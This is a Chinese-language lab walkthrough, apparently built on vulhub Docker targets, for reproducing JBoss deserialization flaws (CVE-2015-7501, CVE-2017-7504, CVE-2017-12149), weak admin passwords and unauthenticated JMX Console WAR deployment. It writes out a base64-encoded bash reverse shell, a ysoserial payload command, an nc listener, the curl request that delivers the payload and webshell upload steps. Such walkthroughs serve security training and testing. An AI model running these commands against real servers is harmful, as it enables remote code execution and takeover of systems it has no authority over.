CVE-2015-7501
Jboss JMXInvokerServlet 反序列化漏洞
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
环境搭建
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
POC,访问地址
http://ip:8080/invoker/JMXInvokerServlet
下载 ysoserial 工具进行漏洞利用
https://github.com/frohoff/ysoserial
将反弹shell进行base64编码
bash -i >& /dev/tcp/ip/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMyLzk5OTkgMD4mMQ==
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > exp.ser
服务器设置监听得端口
nc -lvnp 9999
执行命令
curl http://ip:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
漏洞修复
升级版本
CVE-2017-7504
JBossMQ JMS 反序列化漏洞
漏洞介绍
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
影响范围
JBoss 4.x 以及之前的所有版本
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
访问漏洞地址
http://ip:8080/jbossmq-httpil/HTTPServerILServlet
python3 jexboss.py -u http://ip:8080/
CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞
漏洞简述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
漏洞范围
JBoss 5.x/6.x
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
访问漏洞页面,看jboss版本
验证是否存在漏洞 , 访问
http://ip:8080/invoker/readonly
返回500,说明页面存在,此页面存在反序列化漏洞
使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可:
工具:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
漏洞修复
不需要 http-invoker.sar 组件的用户可直接删除此组件。
添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
升级新版本。
删除 http-invoker.sar 组件。
添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:用于对 http invoker 组件进行访问控制。
Administration Console弱口令
漏洞描述
Administration Console管理页面存在弱口令,`admin:admin`,登陆后台上传war包 , getshell
影响版本
全版本
环境搭建
因为这里用的环境是CVE-2017-12149的靶机
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
密码文件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码:admin:vulhub
漏洞复现
点击web应用
上传后门 shell.war
http://ip:8080/peak/peak.jsp
低版本JMX Console未授权
低版本JMX Console未授权访问Getshell
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执行任何功能。
影响范围
Jboss4.x以下
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
然后找到jboss.deployment (jboss 自带得部署功能) 中的 flavor=URL,type=DeploymentScanner 点进去(通过URL的方式远程部署)
找到页面中的void addURL() 选项远程加载war包来部署
webshell连接
高版本JMX Console未授权
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell
影响版本
Jboss6.x以下
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
因为使用环境不存在该漏洞所以需要输入账户密码:admin vulhub
本地搭建部署点在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下
进入service=MainDeployer页面之后,找到methodIndex为17或19的deploy 填写远程war包地址进行远程部署
搭建远程部署 , 部署远程war包地址
然后输入Invoke
连接Webshell
http://ip:8080/peak/peak.jsp
peak